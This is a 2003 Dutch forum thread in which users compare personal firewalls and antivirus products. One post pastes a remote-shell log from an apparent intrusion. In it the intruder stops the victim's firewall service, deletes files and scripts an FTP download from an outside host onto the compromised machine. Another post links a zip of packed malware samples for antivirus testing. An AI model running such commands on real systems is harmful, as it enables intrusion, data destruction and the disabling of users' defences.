IceManX schreef op 08 juni 2003 @ 19:33:
[...]
Ikzelf heb ZA 3.1.395 (gratis versie), en gewoon snelheden tot zeker 300kB/s

Ik had het niet over snelheden maar over 3.x in het algemeen, bijna niemand vind het echt een verbetering tegenover 2.6, vooral omdat ze de hele interface hebben omgegooid

[Robtimus]

Sir_Killalot schreef op 08 June 2003 @ 20:22:
[...]


Ik had het niet over snelheden maar over 3.x in het algemeen, bijna niemand vind het echt een verbetering tegenover 2.6, vooral omdat ze de hele interface hebben omgegooid

Ja daar ben ik het wel mee eens, hij ziet er nu veel erger uit, en werkt minder fijn. Echter, de vorige versie die ik had wou wel es hangen tijdens het opstarten. Ik zou dus absoluut niet meer terug willen.

[Meneer aard]

ik heb weer eens speedtest uitgevoerd en kwam uit op mijn volle download snelheid 80 kb/s.

[Maarten @klet.st]

Zap schreef op 08 June 2003 @ 14:16:
Een outbound firewall heb ik niet nodig, ik weet wat ik doe en gebruik alleen programma's die ik vertrouw (kwestie van structureel en zorgvuldig te werk gaan, zorgen voor laatste patches etc.).

Puike bewering. Ik weet ook wat ik doe, maar programma's vertrouwen? De meeste Windows progs worden zonder source geleverd. Onder Linux of *BSD heb je wel de source, maar ik betwijfel ten zeerste of je de tijd of kennis bezit om programma's zover door te spitten om er zeker van te zijn dat ze te vertrouwen zijn..

Ik zou zeggen, probeer egress filtering eens (outbound dus). Tiny/Kerio personall firewall is een aardige omdat deze aangeeft welke app naar buiten wil connecten. Je zal verstelt staan welke programma's (om soms onduidelijke redenen) een connectie nodig denken te hebben..

Dat je een virusscanner niet nodig hebt als je weet wat je doet kan ik wel redelijk in mee gaan. Zolang je software alleen van bekende plekken haalt (waar veel mensen het eerder gedownload hebben) en geen e-mail attachments opent ben je redelijk veilig

[Scorpion1984]

zetje01 schreef op 08 juni 2003 @ 19:04:
[...]


Wel even de hele thread lezen voor je reageert aub. Hier beweert namelijk een aantal mensen dat zonealarm ten koste gaat van hun bandbreedte...

Bedoel niet dat ik er nooit van gehoord heb, ik vindt het alleen heel erg raar.

[Verwijderd]

zetje01 schreef op 08 juni 2003 @ 16:59:
Ik gebruik Atguard. Die gebruikt geen resources, is klein, kost geen bandbreedte en is uitgebreid configureerbaar.
Alleen dat configureren duurt wel eventjes.

ATGuard is overgekocht door symantec. De technologie is gebruikt voor norton personal firewall. Ik heb ook een tijdje ATGuard gedraaid, maar daar komen geen updates meer voor, dus ben ik maar op norton overgeschakeld, en geen probleem mee, doet mooi alles wat ie moet doen. (virii in mails durft ie soms eens doorlaten zonder melding, magoed....'k let zelf nog beetje op ook..en gebruik geen outlook)

[scorpie]

Topic niet gelezen, maar ik kan jullie allemaal aanraden gewoon een up2date virusscanner te installeren en geen zogenaamde firewall.
Waarom? Hackers, zoals jullie ze noemen (scriptkiddies eigenlijk), die jullie willen hacken, gebruiken allemaal programmatjes die virusscanners tegenhouden, like trojans enzo...
Wanneer echte hackers aan het werk zijn, kost het 5 minuten meer om zonealarm, of een of ander huis tuin en keuken firewall te omzeilen. Bovendien zijn echte hackers er niet op uit om huis tuin en keuken gebruikers lastig te vallen, ze proberen alleen maar grote bedrijfsnetwerken te hacken.
Wanneer je met een beetje inzicht ook even netbios uitschakelt in je tcp/ip instellingen, kunnen die scriptkiddies al helemaal niks beginnen.

[Trunksmd]

Ik heb hier 2 pc's staan. Eentje met windows 2000 server en norton antivirus profesional 8. De andere pc met win xp home en norton internet security 2003. Beiden staan achter een alcatel router, waarbij poort 21 en 80 continue openstaan voor de server. Msn-en, mailen en surfen doe ik via win xp. Downloaden en p2p doe ik via win 2000 server. Ik ben elke dag online en soms wel 24 uur (server meer). Ik heb nog nooit last gehad van virussen en trojanen. Deze zijn altijd netjes onderschept geworden. Wie zei hier dat Norton slecht was?

[Verwijderd]

Trunksmd schreef op 09 juni 2003 @ 13:30:
Ik heb hier 2 pc's staan. Eentje met windows 2000 server en norton antivirus profesional 8. De andere pc met win xp home en norton internet security 2003. Beiden staan achter een alcatel router, waarbij poort 21 en 80 continue openstaan voor de server. Msn-en, mailen en surfen doe ik via win xp. Downloaden en p2p doe ik via win 2000 server. Ik ben elke dag online en soms wel 24 uur (server meer). Ik heb nog nooit last gehad van virussen en trojanen. Deze zijn altijd netjes onderschept geworden. Wie zei hier dat Norton slecht was?

Ik .

NAV vindt gemiddeld 5 op de 10 trojans...
En qua gewone virii is het ook niet meer zo geweldig, ze kunnen blij zijn als ze de top 8 halen.
Daarnaast zijn de unpackers sjrot(lees: zijn er niet).
De software is buggie.
Support is slecht.

testje

Elke respectabale AV moet alle 4 de samples in deze zip vinden. Dit zijn de meest standaard unpackers die elke noob kan gebruiken.

[Adze]

Wat je wel moet onthouden is dat een firewall je tot op zekere hoogte beschermt... Wanneer je bijvoorbeeld Kazaa gebruikt en deze als server actief is (reageert op SYN, poort 1214) en je met bijv Zonealarm op ja hebt gedrukt tijdens Kazaa, dan ben je nog steeds kwetsbaar.

Binnen Kazaa (en zoveel andere proggies) zitten fouten waardoor de "hacker" makkelijk een exploit uitbuit en je systeem hacked.

[Verwijderd]

Scorperito schreef op 09 June 2003 @ 13:04:
Topic niet gelezen, maar ik kan jullie allemaal aanraden gewoon een up2date virusscanner te installeren en geen zogenaamde firewall.
Waarom? Hackers, zoals jullie ze noemen (scriptkiddies eigenlijk), die jullie willen hacken, gebruiken allemaal programmatjes die virusscanners tegenhouden, like trojans enzo...
Wanneer echte hackers aan het werk zijn, kost het 5 minuten meer om zonealarm, of een of ander huis tuin en keuken firewall te omzeilen.

En die up2date virusscanners doen daar ook helemaal niets tegen, omdat de meeste AV's geen of nauwelijks bescherming tegen trojans bieden.

Bovendien zijn echte hackers er niet op uit om huis tuin en keuken gebruikers lastig te vallen, ze proberen alleen maar grote bedrijfsnetwerken te hacken.

... of plat te leggen door ze vanuit de peeceetjes van huis-tuin-en-keukengebruikers te ddossen... of te begraven onder een dikke laag spam door die huis-tuin-en-keuken machientjes om te vormen tot open relays. Die huis-PC is dan misschien wel geen doel op zich, maar de bandbreedte en het IP van Ome Piets kabelmodem kunnen wel degelijk een middel zijn om dat doel te bereiken.

Wanneer je met een beetje inzicht ook even netbios uitschakelt in je tcp/ip instellingen, kunnen die scriptkiddies al helemaal niks beginnen.

Tja. Als jij een biertje koopt voor iedere 'tweaker' die dat niet heeft gedaan dan ben je morgen failliet. Denk je werkelijk dat al die mensen die dit soort topics posten netjes hun netbios beteugeld hebben? Laat staan die huis-tuin-en-keukengebruikers waar jij het over had.

[ Voor 10% gewijzigd door Verwijderd op 09-06-2003 14:30 ]

[_ferry_]

ik heb de firewall van win XP prof. en daarmee kon de sygate security test me al niet vinden, aleen me OS, IE en IP, das logisch natuurlijk. ik heb ook zonealarm geinstaleerd staan, maar die staat niet altijd aan eerlijk gezegd.

[PipoDeClown]

Verwijderd schreef op 09 June 2003 @ 13:55:
[...]

testje

Elke respectabale AV moet alle 4 de samples in deze zip vinden. Dit zijn de meest standaard unpackers die elke noob kan gebruiken.

Sophos 3.70 vind alleen de aspack versie niet, maar mail is al naar hen onderweg

Verwijderd schreef op 09 June 2003 @ 14:27:
[...]
Tja. Als jij een biertje koopt voor iedere 'tweaker' die dat niet heeft gedaan dan ben je morgen failliet. Denk je werkelijk dat al die mensen die dit soort topics posten netjes hun netbios beteugeld hebben? Laat staan die huis-tuin-en-keukengebruikers waar jij het over had.

ROFL

[ Voor 60% gewijzigd door PipoDeClown op 09-06-2003 14:48 ]

[Jimbolino]

De beste firewall is geen firewall: http://windowsupdate.microsoft.com
De beste virusscanner is geen virusscanner
Het beste windows optimizer / probleemoplosser / defrag-tool = format c:

Voor bedrijven kan ik het wel begrijpen dat ze een firewall aanschaffen. Maar thuis gebruikers... Volgens mij heb je alleen maar elende met dat ding, moet je aangeven wat er allemaal wel en niet door mag... en dan werkt een keer een spelletje over internet niet ofzo, en dan zet je je firewall tijdelijk uit... De meeste firewalls zijn maar "schijn" protectie. Ze mogen dan misschien wel een paar dingen tegenhouden, maar als de gebruiker dan gewoon op ja klikt, kun je er als hacker toch gewoon in.
Ik heb vaak genoeg een screenshotje gezien van een pc met zonealarm/blackice/nis.
Om een pc te beheren moet je zoiezo voldoende kennis erover hebben, en niet zomaar op allerlei knoppen drukken zonder te weten wat het inhoud

[Verwijderd]

PipoDeClown schreef op 09 juni 2003 @ 14:45:
[...]


Sophos 3.70 vind alleen de aspack versie niet, maar mail is al naar hen onderweg

En voegen ze een extra signature toe, wat voor nut heeft dat?
Tis dan niet alsof ze de tienduizenden andere aspack compressed samples vinden of wel soms?

Kijk ook naar de latere LovGate varianten, Symantec, Trend, Sophos e.d. moesten allemaal extra signatures releasen omdat ze geen(of nauwelijks)packingsupport hebben. (Enige verschil was dat de nieuwere varianten anders gepackt/gecrypt waren).

IMO zou Sophos voor het geld dat het kost, een heel stuk beter moeten zijn.

[Trunksmd]

Verwijderd schreef op 09 June 2003 @ 13:55:
[...]


Ik .

NAV vindt gemiddeld 5 op de 10 trojans...
En qua gewone virii is het ook niet meer zo geweldig, ze kunnen blij zijn als ze de top 8 halen.
Daarnaast zijn de unpackers sjrot(lees: zijn er niet).
De software is buggie.
Support is slecht.

testje

Elke respectabale AV moet alle 4 de samples in deze zip vinden. Dit zijn de meest standaard unpackers die elke noob kan gebruiken.

Dit is wel een topic over firewalls. Maar om terug te komen op je opmerkingen. NIS2003 is (zover ik weet) de enige, die msn beveiligt. Ik heb nog nooit last van bugs gehad in de software en ik heb er weinig omkijken naar. De virusscanner is misschien niet de beste, maar hij houdt het belangrijkste toch tegen. Verder hangt het ook een beetje van jezelf af. Te onbekende sites blijf ik weg. NIS2003 houdt elke pop up en adje tegen. Mijn mail wordt door xs4all apart gefilterd en gescand (en vervolgens door norton nog eens). Mijn hoofpc met winxp daar ben ik ook voorzichtig mee. Die is dan ook vrij onzichtbaar op internet. Mijn server draait meer voor de lol en voor vrienden. Daar doe ik ook de meer onveilige zaken mee, zoals p2p en downloaden. Kijk je kunt je huis wel beveiligen tegen dieven, maar 100% zeker ben je nooit. (ik denk dat er genoeg tweakers op dit moment op dit forum zijn, die altijd bij je binnen kunnen komen) Je kunt het ze wel moeilijk maken.

[Verwijderd]

Trunksmd schreef op 09 juni 2003 @ 15:02:
[...]


Dit is wel een topic over firewalls. Maar om terug te komen op je opmerkingen. NIS2003 is (zover ik weet) de enige, die msn beveiligt. Ik heb nog nooit last van bugs gehad in de software en ik heb er weinig omkijken naar. De virusscanner is misschien niet de beste, maar hij houdt het belangrijkste toch tegen. Verder hangt het ook een beetje van jezelf af. Te onbekende sites blijf ik weg. NIS2003 houdt elke pop up en adje tegen. Mijn mail wordt door xs4all apart gefilterd en gescand (en vervolgens door norton nog eens). Mijn hoofpc met winxp daar ben ik ook voorzichtig mee. Die is dan ook vrij onzichtbaar op internet. Mijn server draait meer voor de lol en voor vrienden. Daar doe ik ook de meer onveilige zaken mee, zoals p2p en downloaden. Kijk je kunt je huis wel beveiligen tegen dieven, maar 100% zeker ben je nooit. (ik denk dat er genoeg tweakers op dit moment op dit forum zijn, die altijd bij je binnen kunnen komen) Je kunt het ze wel moeilijk maken.

Begon over de AV omdat de persoon die ik quootte daarover begon..

Even voor de Norton firewall dan:

1: doet het niet zo heel geweldig bij al die leaktests.
2: Rules kunnen zonder dat je het doorhebt corrupt worden waardoor hij niet veel meer doet dan de gemiddelde pop-up blocker.
3: Veel andere bugs, kijk maar rond op de fora, veel mensen met problemen..

Mja, die leaktests...Laten we het zo zeggen: als een prog naar buiten wil, komt het dat, dus dat is niet het grootste punt, de buggieness van de software jammergenoeg wel. In de basis had het een heel aardige firewall kunnen zijn.

[Verwijderd]

RocketKoen schreef op 07 June 2003 @ 22:40:
Sygate Personal Firewall Pro
in en uitgaand verkeer

code:

Timeout occurred
C:\>

The command completed successfully.



C:\>net stop "Sygate Personal Firewall Pro"
net stop "Sygate Personal Firewall Pro"

The Sygate Personal Firewall Pro service is stopping..
The Sygate Personal Firewall Pro service was stopped successfully.


C:\>
C:\>

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FC68-6D84

 Directory of C:\

06/10/2003  12:01a      <DIR>          .
06/10/2003  12:01a      <DIR>          ..
06/09/2003  11:59p                   0 TFTP1308
               1 File(s)              0 bytes
               2 Dir(s)   1,603,903,488 bytes free

C:\>del *.* /q/f
del *.* /q/f

C:\>echo open ******** >> echo.txt

echo user *******>> echo.txt

echo mget *.* >> echo.txt

echo quit  >> echo.txt

ftp -i -n -v -s:echo.txt
echo open 62.164.0.35 7978 >> echo.txt

C:\>
C:\>echo user sql sql >> echo.txt

C:\>
C:\>echo mget *.* >> echo.txt

C:\>
C:\>echo quit  >> echo.txt

C:\>
C:\>
ftp -i -n -v -s:echo.txt
Connected to ******.
open ****** ***
220-Serv-U FTP Server v3.0 for WinSock ready...
230 User logged in, proceed.

dit was een simpele printer hole hack, kon eerst niet ftpen op die bak sygate in 2 tellen uitgezet en klaar ;x

ok ok tis ook gedeeltelijk fout van de user door slechte config van zijn bak maartoch..

[Fok83]

Is het normaal dat de probe test op grc.com aangeeft dat het onmogelijk is om met netbios op je pc te komen? Is het niet beter om stealth te hebben of geldt dit alleen voor ports (zijn hier allen stealth overigens)

[blackd]

Jimbolino schreef op 09 juni 2003 @ 14:57:
De beste firewall is geen firewall: http://windowsupdate.microsoft.com

Patches installeren is essentieel.
Patches installeren is geen manier op te firewallen. Alleen om je software bij te werken (duh )

De beste virusscanner is geen virusscanner

Verklaar u nader?

Het beste windows optimizer / probleemoplosser / defrag-tool = format c:

De slechtste oplossing om je problemen op te lossen is format c:. Je weet namelijk nooit precies wat het probleem is geweest.

Voor bedrijven kan ik het wel begrijpen dat ze een firewall aanschaffen. Maar thuis gebruikers... Volgens mij heb je alleen maar elende met dat ding, moet je aangeven wat er allemaal wel en niet door mag... en dan werkt een keer een spelletje over internet niet ofzo, en dan zet je je firewall tijdelijk uit...

Daarom moet firewalling ook bij de router gebeuren, en niet op de desktop van de user. Zie ook een topic over beveiligingsmethoden, daar heb ik ook e.a.a. hierover gezegd.

De meeste firewalls zijn maar "schijn" protectie. Ze mogen dan misschien wel een paar dingen tegenhouden, maar als de gebruiker dan gewoon op ja klikt, kun je er als hacker toch gewoon in.

Ach, net als een virusscanner die niet geupdate is.
Vandaar dat je dit de simpele thuisgebruiker uit handen moet nemen, door bijv firewalling op een ander punt in het netwerk te doen. Of bijvoorbeeld antivirus updates voor hem te regelen.

Ik heb vaak genoeg een screenshotje gezien van een pc met zonealarm/blackice/nis.
Om een pc te beheren moet je zoiezo voldoende kennis erover hebben, en niet zomaar op allerlei knoppen drukken zonder te weten wat het inhoud

Ik heb vaak genoeg gezien dat thuisgebruikers poorten 137-139 en 445 open hebben staan. Een enkeling heeft ook een guest account aanstaan, of geen administrator password. Dan kun je zo op zijn shares.
En dan wil jij beweren dat de thuisgebruiker maar geen firewall moet installeren?

[Cyb]

Vanwege dit: Ben DDOS client!
Ga ik toch maar permanent een firewall gebruiken.

Heb voor mezelf een paar getest, en dit zijn mijn bevindingen:
McAfee Firewall 4:
-Veel te klein window
-Onoverzichtelijk
-Redelijk goede filter instellingen
-Goede monitor
-IDS beperkt
-Geen algemene rules, alleen voor IPadressen
-automatisch program detectie niet getest, maar zit er waarschijnlijk wel op

Tiny Personal FireWall 4.5:
-Fucking lange installatie, scant elke file op mijn pC?
-Goede Monitor
-Rules met logging en ICMP
-Erg IDS, met groot Database
-Apart systeem met Applicatie groepen, profiles, audits, welke met elkaar te koppelen zijn
-Te weinig info bij program detectie, is slechts alleen een groep indeling
-Alles apart instellen, daarna pas koppelen.
-Windows security (Files, registery, service, device, etc) per applicatie
-Veel configuratiewerk
-Erg Overzichtelijk


ZoneAlarm Pro 4.0:
-Goede firewall rules, ook op icmp
-Geen/Amper een monitor
-Geen IDS
-Duidelijk onderscheidt met componenten van programma's
-Het Interface maakt het onduidelijk
-Programma detectie alleen ja/nee
-Ad blocking
-Component control beperkt, alleen ja/nee


Sygate Personal Firewall Pro:
-Goede details bij program detectie, maar geen instellingen direct mogelijk, alleen ja/nee
-Goede monitor
-Erg overzichtelijk
-Meerdere apps per rule mogelijk (maar hoe met nieuwe apps?)
-Geen IDS
-ICMP beperkt


Norton Personal Firewall 2003:
-Program detectie met instellingen
-Erg goede rules met logging, ook op icmp
-Trojan Horse rules zijn slechts portgericht
-Java applet controls
-IDS dmv signatures, met autoblock
-Private Information, (=packet mangling?)
-Ad blocking
-Erg goede monitor
-Goede logs
-Component control, maar beetje onoverzichtelijk. Iets te veel componenten
-Lijkt redelijk wat resources in te nemen

[Verwijderd]

BlackIce is de beste die er is,
je hoeft niks in te stellen. EN hij laat naar mijn ervaring nix door,

[Opa]

U vraagt, de frontpage draait....

Beste firewalls voor grote en kleine bedrijven.

En verder de links volgen.

Ow ja, thuis heb ik Norton IS 2002 draaien.

[Unicron]

Verwijderd schreef op 23 June 2003 @ 13:33:
BlackIce is de beste die er is,
je hoeft niks in te stellen. EN hij laat naar mijn ervaring nix door,

Heb jij alle testen op de sygate site geprobeerd?

Ikzelf draai kerio personal firewall en mijn pc komt met een perfecte score door alle sygate site testen heen.
Andere voordelen van kerio zijn dat het erg overzichtelijk is en als eenmaal alle rules goed staan je bijna nooit meer een popup krijgt. Ik merk dus nagenoeg niet eens meer dat er een firewall draait en dat was met Zone Alarm wel anders. Het grootste probleem met Black Ice is dat deze niet alle poorten op stealth gooit. Misschien dat dit nu is opgelost, maar bij mij kon poort 113(IDent) niet op stealth.

Zijn er nog mensen die negatieve dingen van kerio personal firewall weten, want ik kan er geen bedenken en ben wel benieuwd?

edit: Ander voordeel van kerio personal firewall is nog de lage resources .

[ Voor 5% gewijzigd door Unicron op 23-06-2003 14:00 ]

[Cyb]

nog ff 2 firewalls getest:

ISS BlackICE PC Protection 3.6:
-AP scan duurt te lang
-Zeer beperkte rules
-Beperkte attack info
-Program rules te beperkt
-Geen monitor

Kerio Personal Firewal 2.1:
-Program detectie met rules
-ICMP
-Goede rules
-Program CRC
-overzichtelijk
-geen ids


Blackice valt dus duidelijk af van de lijst van firewalls die ik ga gebruiken.

[Cyb]

Heb nu een beta versie van Tiny Personal Firewall 5.

Ziet er goed uit, ga ik voorlopig gebruiken.

[Unicron]

Cyb schreef op 23 juni 2003 @ 15:48:
Heb nu een beta versie van Tiny Personal Firewall 5.

Ziet er goed uit, ga ik voorlopig gebruiken.

Misschien heb je ook nog wat aan deze pagina:
http://www.haertfelder.com/ICMPruleset.html

Deze verteld hoe je het ICMP verkeer(PING etc) rules moet instellen in TPF. Er wordt ook duidelijk verteld welk ICMP verkeer wel en niet moet worden doorgelaten. Als je duits niet zo goed is kun je de pagina simpel vertalen met translate op www.altavista.com

[ Voor 10% gewijzigd door Unicron op 23-06-2003 16:23 ]

[Meneer aard]

Heb zonealarm er weer af gegooid. Blokkeerde zelfs mijn netwerk naar een andere pc.

Zodoende moest ik m`n hele modem op nieuw instellen.

[Unicron]

Meneer aard schreef op 23 June 2003 @ 16:34:
Heb zonealarm er weer af gegooid. Blokkeerde zelfs mijn netwerk naar een andere pc.

Zodoende moest ik m`n hele modem op nieuw instellen.

Dit probleem had ik dus ook met zonealarm. Bij Kerio personal firewall is er een apart tablad voor Microsoft Networking zodat je precies kan instellen voor welke IP's het wel of niet mag werken. Dit is uitermate handig want je hoeft dus niet Microsoft Networking helemaal te blocken. Kerio laat alleen door wat jij wilt.

Edit: dit is een screenie van het tabblad in kerio personal firewall

[ Voor 14% gewijzigd door Unicron op 23-06-2003 16:46 ]

[Mosez]

Na een tijdje FreeSCO gebruikt te hebben draai ik nu alweer ruim een jaar de Clarkconnect firewall. Kost je wel een extra pc-tje en netwerkkaart, maar dan is ook meteen je hele thuisnetwerk beveiligd. En geen gezeur met resources vretende apps en services op je Windows-bak

[Budha]

De beste softwarematige firewall voor ADSL of kabel vind ik Kerio Winroute Firewall 5!

Kheb 'm inmiddels op een aantal plekken geinstalleerd en dat ging iedere keer super.

[Verwijderd]

Je kunt zeggen wat je wil, maar een firewall voor je netwerk is echt geen overbodige luxe meer tegenwoordig. Ik krijg nog dagelijks requests binnen op m'n Apache webserver (draaiende onder Linux uiteraard) van Code Red achtige dingen. Mensen die proberen een DOS prompt te openen. Dat lukt natuurlijk niet, omdat Linux dat niet kent, maar 'k had er niet aan moeten denken wat er was gebeurt als mijn eigen computer (Windows XP) direct aan het internet had gehangen. Wat dat betreft ben 'k blij dat ik m'n pa zover heb gekregen dat ik die Linux server er voor kon zetten, want dat scheelt echt wel.

Ik gebruik dus een Linux server met een Linux 2.4.18 kernel en iptables als firewall, gewoon geconfigureerd met een scriptje. Dat is ongetwijfeld de veiligste oplossing. Het nadeel is natuurlijk wel dat het onder Linux draait, en niet zo eenvoudig te configureren is (hoewel het eenvoudig is als je eenmaal weet hoe 't moet, maar dat is met alles zo natuurlijk).

Ik heb net even de Sygate test gedaan, en daar bleek natuurlijk ook uit dat ik niet volledig beschermd was, maar dat is ook logisch want ik heb een webserver (inclusief SSL) en FTP server draaien. Verder draaien er nog wat andere services, maar die zijn niet gevaarlijk. En voor de rest zit alles gewoon dicht (drop, dus geen block), dus voor de buitenstaander lijkt het of het dicht zit.

Binnen m'n eigen netwerk moet ik natuurlijk wel bestanden kunnen verplaatsen van computer naar computer. Dat kan met FTP, maar m'n pa wil natuurlijk geen FTP server op z'n comp draaien, dus daar gebruik 'k gewoon netbios voor. En op m'n Linux server is een printer geinstalleerd die ik deel over 't netwerk met behulp van Samba, maar die draait natuurlijk alleen op m'n lokale interface (en al zou dat niet zo zijn, de firewall blokkeert het dan nog wel voor buitenaf).

Kortom, als je echt veilig wilt, dan kun je 't best een Linux servertje er voor zetten, en iptables goed configureren.

[Opa]

Verwijderd schreef op 23 June 2003 @ 17:09:
Je kunt zeggen wat je wil, maar een firewall voor je netwerk is echt geen overbodige luxe meer tegenwoordig. Ik krijg nog dagelijks requests binnen op m'n Apache webserver (draaiende onder Linux uiteraard) van Code Red achtige dingen. Mensen die proberen een DOS prompt te openen. Dat lukt natuurlijk niet, omdat Linux dat niet kent, maar 'k had er niet aan moeten denken wat er was gebeurt als mijn eigen computer (Windows XP) direct aan het internet had gehangen.

Kijk, ik ontken ook niet het belang van een firewall, maar ik heb op mijn Windows 2000 bak gewoon helemaal geen IIS geïnstalleerd. Code Red mag ook op mijn PC zo veel mogelijk command prompts proberen te openen, hij zou toch niet thuis krijgen.
Verder zit ik uiteraard achter een getweakte ADSL modem en draait er Norton. Maar die hoeft uiterst zelden in actie te komen, alleen bij de doorgemapte poorten. De rest van de aanvallen verdwijnt toch in het zwarte gat dat Speedtouch heet.

[Verwijderd]

Cyb:
Even voor de duidelijkheid:
Is Kerio Personal Firewall de beste tot nu toe die jij hebt getest?
Als dat niet zo is, kan je dan een conclusie typen van de firewalls die aanbevolen zijn (volgens jou)?

[Unicron]

Ik zou zeggen als je veel extra dingen wil zoals ad blocking en beginner bent pak Norton en als je gewoon een firewall wil pak kerio( of evt tiny, deze lijken erg veel op elkaar)

[Zym0tiC]

ik gebruik Sygate Personal Firewall pro op al mijn pc's.
Intern netwerk zit helemaal dicht alleen een stuk of 4 ip's mogen mijn shares bekijken

en verder draait er nog een firewall in mijn router

[Verwijderd]

ik gebruik norton personal firewall 2003

Ik vind hem heel fijn en handig

[TeazNutz]

Brickman schreef op 07 June 2003 @ 22:38:
Norton Internet Security 2002

Ik gebruik zelf thuis de 2003 versie van Norton Personal Firewall. Dit is een prima pakket. Simpel om te gebruiken, gewoon het pakket zelf rules laten maken, en daarna loopt hij vanzelf ok.

Op mijn werk gebruik ik een Netscreen 25, deze jongen zorgt ervoor dat er helemaal nix gebeurt.
Maar voor thuis....Norton bijv.

MAAR, Betaal ervoor, en haal je updates geregeld op!!!

[ Voor 3% gewijzigd door TeazNutz op 25-06-2003 13:36 ]

[MuddyMagical]

Sorry, hoor maar die scan op GRC.com stelt volgens mij helemaal niks voor. Ik heb net even een scan gedaan op een pc die hier via een isdnmodem aan het i-net staat. Er staat niks op van een antivirusscanner of firewall en toch geeft de scan aan dat alles 'Stealth' is.
Vindt je het erg als ik daar dus niet in geloof?!

[eghie]

eigenlijk als je het goed wil testen, dan moet je een aparte bak opstellen, met firewall ervoor en dan op een aparte ip zetten als hackme bak, zo kun je het makkelijkst testen en dan ergens melden dat het een hackme bak is en dan eens een paar goeie hackers erop loslaten (geen crackers, maar echte hackers(die niks kapot willen maken)).

[Krul]

MuddyMagical schreef op 25 June 2003 @ 13:56:
Sorry, hoor maar die scan op GRC.com stelt volgens mij helemaal niks voor. Ik heb net even een scan gedaan op een pc die hier via een isdnmodem aan het i-net staat. Er staat niks op van een antivirusscanner of firewall en toch geeft de scan aan dat alles 'Stealth' is.
Vindt je het erg als ik daar dus niet in geloof?!

Waarschijnlijk heb je onbewust de build in firewall van WinXP aanstaan...